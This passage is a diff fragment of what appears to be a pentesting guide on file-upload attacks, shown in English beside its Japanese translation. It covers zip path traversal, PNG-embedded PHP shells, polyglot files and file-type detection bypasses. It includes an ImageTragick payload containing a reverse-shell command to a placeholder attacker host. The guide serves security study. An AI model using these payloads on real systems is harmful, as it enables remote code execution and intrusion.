root@s2crew:/tmp# zip cmd.zip xx*.php root@s2crew:/tmp# zip cmd.zip xx*.php
``` ```
3. **Modification with a Hex Editor or vi**: zip内のファイル名をviやhex editorで変更し、"xxA"を"../"に置換してディレクトリを横断します。 3. **Modification with a Hex Editor or vi**: zip内のファイル名をviやhexエディタで変更し、"xxA" を "../" に置換してディレクトリを遡ります。
```bash ```bash
:set modifiable :set modifiable
@ -315,40 +314,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic ## ImageTragic
この内容をimage拡張子でアップロードして脆弱性を悪用します **(ImageMagick , 7.0.1-1)**(詳細は [exploit](https://www.exploit-db.com/exploits/39767) を参照) この内容を画像拡張子でアップロードして脆弱性を悪用します **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
``` ```
push graphic-context push graphic-context
viewbox 0 0 640 480 viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context pop graphic-context
``` ```
## Embedding PHP Shell on PNG ## PNGにPHPシェルを埋め込む
Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions `imagecopyresized` and `imagecopyresampled` from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases. PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理を回避できる場合があります。PHP-GDの`imagecopyresized``imagecopyresampled`といった関数は、それぞれ画像のリサイズやリサンプリングで一般的に使われるため、この文脈で特に重要です。埋め込まれたPHPシェルがこれらの処理によって影響を受けずに残ることは、特定のユースケースで大きな利点となります。
A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications. この手法の詳細な解説(手順や応用例を含む)は、次の記事にまとめられています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースはプロセスとその影響を包括的に理解するのに役立ちます。
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files ## Polyglot Files
Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a [GIFAR](https://en.wikipedia.org/wiki/Gifar), a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible. Polyglot filesは複数のファイルフォーマットとして同時に有効であり得る「カメレオン」的なツールです。興味深い例としては、GIFとRARのハイブリッドである[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。これらはGIFとRARの組み合わせに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions. polyglotの主な利点は、ファイルタイプに基づく検査を回避できる点にあります。多くのアプリケーションでは、アップロードをJPEGやGIF、DOCなどの特定のファイルタイプに限定して、JSやPHP、Pharのような危険な形式を防ごうとします。しかし、polyglotは複数のファイルタイプの構造要件を満たすことで、これらの制限を巧妙にすり抜けることができます。
Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload. ただし、polyglotにも制約はあります。例えば、PHARPHp ARchiveとJPEGを同時に兼ねるpolyglotであっても、アップロードの可否はプラットフォームの拡張子ポリシーに依存する場合があります。システムが許可される拡張子に厳格な場合、polyglotの構造的二面性だけではアップロードが保証されないことがあります。
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload valid JSONs like if it was PDF ### PDFのように見せかけて有効なJSONをアップロードする方法
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): 有効なJSONファイルを、あたかもPDFであるかのように偽装してアップロードし、ファイルタイプ検出を回避する方法**[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** の手法):
- **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes its valid (get example from post) - **`mmmagic` library**: 最初の1024バイト内に`%PDF`のマジックバイトがあれば有効と見なされる(投稿の例を参照)
- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks its a pdf (get example from post) - **`pdflib` library**: JSONのフィールド内に偽のPDFフォーマットを追加することでライブラリがPDFだと判断する投稿の例を参照
- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and itll think its a PDF - **`file` binary**: ファイルから最大1048576バイトを読み取れる。JSONをそれより大きく作成して中身をJSONとして解析できなくし、そのJSON内に実際のPDFの先頭部分を入れれば、PDFだと判断される
## References ## 参考資料
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)